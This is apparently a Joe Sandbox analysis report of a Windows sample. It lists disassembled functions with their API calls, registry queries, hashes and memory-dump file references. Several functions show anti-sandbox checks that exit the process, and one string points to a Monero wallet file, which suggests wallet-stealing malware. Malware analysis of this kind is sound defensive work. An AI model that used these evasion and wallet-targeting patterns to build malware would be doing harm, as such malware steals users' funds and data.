InternetCloseHandle.WININET(?), ref: 005750C6

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: d6cd7c9e4b9bc2672276bdfaf741f8b39eb7f3d508a8236f49e03b04784ec9c3
Instruction ID: 4a2ea463550cc76ee118fa353dcef343dbeb1605084446505cde2b0e3c2988da
Opcode Fuzzy Hash: d6cd7c9e4b9bc2672276bdfaf741f8b39eb7f3d508a8236f49e03b04784ec9c3
Instruction Fuzzy Hash: 2C311DB4A00218ABDB20DF54DC89BDCB7B4FB48704F1081D9F609A7281DB746EC58F99

Function 005883DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00588426
wsprintfA.USER32 ref: 00588459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0058847B
RegCloseKey.ADVAPI32(00000000), ref: 0058848C
RegCloseKey.ADVAPI32(00000000), ref: 00588499

Part of subcall function 0058A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0058A7E6

RegQueryValueExA.KERNEL32(00000000,0130E100,00000000,000F003F,?,00000400), ref: 005884EC
lstrlen.KERNEL32(?), ref: 00588501
RegQueryValueExA.KERNEL32(00000000,0130E0E8,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00590B34), ref: 00588599
RegCloseKey.KERNEL32(00000000), ref: 00588608
RegCloseKey.ADVAPI32(00000000), ref: 0058861A

Strings

%s\%s, xrefs: 0058844D

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 9d39f952e28b1aace710a5d0270dc62e6e550b9846e503dc9b10fc9e96da1340
Instruction ID: b7bae5c9d5084a2db372911102e752bf9f8602662d295b0405370e2a00b760d2
Opcode Fuzzy Hash: 9d39f952e28b1aace710a5d0270dc62e6e550b9846e503dc9b10fc9e96da1340
Instruction Fuzzy Hash: 15211B71900218ABDB24EB54DC85FE9B7B8FB48700F40C5D9E609A6140DF756A85CFD4

Function 00587690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 005876A4
RtlAllocateHeap.NTDLL(00000000), ref: 005876AB
RegOpenKeyExA.KERNEL32(80000002,012FC030,00000000,00020119,00000000), ref: 005876DD
RegQueryValueExA.KERNEL32(00000000,0130DFB0,00000000,00000000,?,000000FF), ref: 005876FE
RegCloseKey.ADVAPI32(00000000), ref: 00587708

Strings

Windows 11, xrefs: 005876BD

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 517f8db104472971fd7efc27d651115096eb35fa994bb978059c5a942b22ba4d
Instruction ID: 731a1336d46fd6b403c63839091df9766a62e02e97ced681cf960cd61e2ffc56
Opcode Fuzzy Hash: 517f8db104472971fd7efc27d651115096eb35fa994bb978059c5a942b22ba4d
Instruction Fuzzy Hash: 6F01FFB5A44308BBDB00FBE4DD49F6DBBB8EB48701F108554FE05E7291EA789904CB55

Function 00587720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00587734
RtlAllocateHeap.NTDLL(00000000), ref: 0058773B
RegOpenKeyExA.KERNEL32(80000002,012FC030,00000000,00020119,005876B9), ref: 0058775B
RegQueryValueExA.KERNEL32(005876B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0058777A
RegCloseKey.ADVAPI32(005876B9), ref: 00587784

Strings

CurrentBuildNumber, xrefs: 00587771

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 0854980d2c56517222e00eb358743ed908055c77fe984d20dbfd69ffa4e72d82
Instruction ID: 0848d9a83762711aea74cee82c29fef6ca3c7786d0b33455a0a66d04a9390641
Opcode Fuzzy Hash: 0854980d2c56517222e00eb358743ed908055c77fe984d20dbfd69ffa4e72d82
Instruction Fuzzy Hash: 0C0117B5A40308BFDB00EBE4DC4AFAEB7B8FB48701F108555FA05A7281DA745500CB55

Function 005840B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 005840D5
RegOpenKeyExA.KERNEL32(80000001,0130D888,00000000,00020119,?), ref: 005840F4
RegQueryValueExA.ADVAPI32(?,0130E4C0,00000000,00000000,00000000,000000FF), ref: 00584118
RegCloseKey.ADVAPI32(?), ref: 00584122
lstrcat.KERNEL32(?,00000000), ref: 00584147
lstrcat.KERNEL32(?,0130E4D8), ref: 0058415B

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: 6239dc851e86bae27c62d17632fbc02e94d951bdb1eb88087a06027e372a6ee3
Instruction ID: 8406e3a9aa2a455d4af4c7bc0ffe90485a3309ff73d205dda51bd4fc16f48447
Opcode Fuzzy Hash: 6239dc851e86bae27c62d17632fbc02e94d951bdb1eb88087a06027e372a6ee3
Instruction Fuzzy Hash: F6418AB69001087BDB14FBA4EC4AFFD777DB798300F408558B61656181EA755B888B92

Function 005869F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00589860: GetProcAddress.KERNEL32(74DD0000,01309048), ref: 005898A1
Part of subcall function 00589860: GetProcAddress.KERNEL32(74DD0000,013090A8), ref: 005898BA
Part of subcall function 00589860: GetProcAddress.KERNEL32(74DD0000,013090F0), ref: 005898D2
Part of subcall function 00589860: GetProcAddress.KERNEL32(74DD0000,013090C0), ref: 005898EA
Part of subcall function 00589860: GetProcAddress.KERNEL32(74DD0000,01308FE8), ref: 00589903
Part of subcall function 00589860: GetProcAddress.KERNEL32(74DD0000,01309280), ref: 0058991B
Part of subcall function 00589860: GetProcAddress.KERNEL32(74DD0000,012F4000), ref: 00589933
Part of subcall function 00589860: GetProcAddress.KERNEL32(74DD0000,012F3E80), ref: 0058994C
Part of subcall function 00589860: GetProcAddress.KERNEL32(74DD0000,01309060), ref: 00589964
Part of subcall function 00589860: GetProcAddress.KERNEL32(74DD0000,013090D8), ref: 0058997C
Part of subcall function 00589860: GetProcAddress.KERNEL32(74DD0000,01309108), ref: 00589995
Part of subcall function 00589860: GetProcAddress.KERNEL32(74DD0000,01308FB8), ref: 005899AD
Part of subcall function 00589860: GetProcAddress.KERNEL32(74DD0000,012F3EC0), ref: 005899C5
Part of subcall function 00589860: GetProcAddress.KERNEL32(74DD0000,01309120), ref: 005899DE

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

Part of subcall function 005711D0: ExitProcess.KERNEL32 ref: 00571211

Part of subcall function 00571160: GetSystemInfo.KERNEL32(?), ref: 0057116A
Part of subcall function 00571160: ExitProcess.KERNEL32 ref: 0057117E

Part of subcall function 00571110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0057112B
Part of subcall function 00571110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00571132
Part of subcall function 00571110: ExitProcess.KERNEL32 ref: 00571143

Part of subcall function 00571220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0057123E
Part of subcall function 00571220: __aulldiv.LIBCMT ref: 00571258
Part of subcall function 00571220: __aulldiv.LIBCMT ref: 00571266
Part of subcall function 00571220: ExitProcess.KERNEL32 ref: 00571294

Part of subcall function 00586770: GetUserDefaultLangID.KERNEL32 ref: 00586774

Part of subcall function 00571190: ExitProcess.KERNEL32 ref: 005711C6

Part of subcall function 00587850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005711B7), ref: 00587880
Part of subcall function 00587850: RtlAllocateHeap.NTDLL(00000000), ref: 00587887
Part of subcall function 00587850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0058789F

Part of subcall function 005878E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00587910
Part of subcall function 005878E0: RtlAllocateHeap.NTDLL(00000000), ref: 00587917
Part of subcall function 005878E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0058792F

Part of subcall function 0058A9B0: lstrlen.KERNEL32(?,013094C0,?,\Monero\wallet.keys,00590E17), ref: 0058A9C5
Part of subcall function 0058A9B0: lstrcpy.KERNEL32(00000000), ref: 0058AA04
Part of subcall function 0058A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0058AA12

Part of subcall function 0058A8A0: lstrcpy.KERNEL32(?,00590E17), ref: 0058A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,013092A0,?,0059110C,?,00000000,?,00591110,?,00000000,00590AEF), ref: 00586ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00586AE8
CloseHandle.KERNEL32(00000000), ref: 00586AF9
Sleep.KERNEL32(00001770), ref: 00586B04
CloseHandle.KERNEL32(?,00000000,?,013092A0,?,0059110C,?,00000000,?,00591110,?,00000000,00590AEF), ref: 00586B1A
ExitProcess.KERNEL32 ref: 00586B22

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: beff55ea2d6ccc1464c6b2d9811c33489e4d4a2a1da299858b4d4e264c07e76d
Instruction ID: 9ff7f034bcf7360c3b2a2ac56c2804bde3a20128ab574e2bd279c832a5d8a79d
Opcode Fuzzy Hash: beff55ea2d6ccc1464c6b2d9811c33489e4d4a2a1da299858b4d4e264c07e76d
Instruction Fuzzy Hash: 15312E7190420AAAEB04FBB0DC5AFEE7F38BF84340F108519F912B6191DF785905DBA6

Function 005799C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005799EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00579A11
LocalAlloc.KERNEL32(00000040,?), ref: 00579A31
ReadFile.KERNEL32(000000FF,?,00000000,0057148F,00000000), ref: 00579A5A
LocalFree.KERNEL32(0057148F), ref: 00579A90
CloseHandle.KERNEL32(000000FF), ref: 00579A9A

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

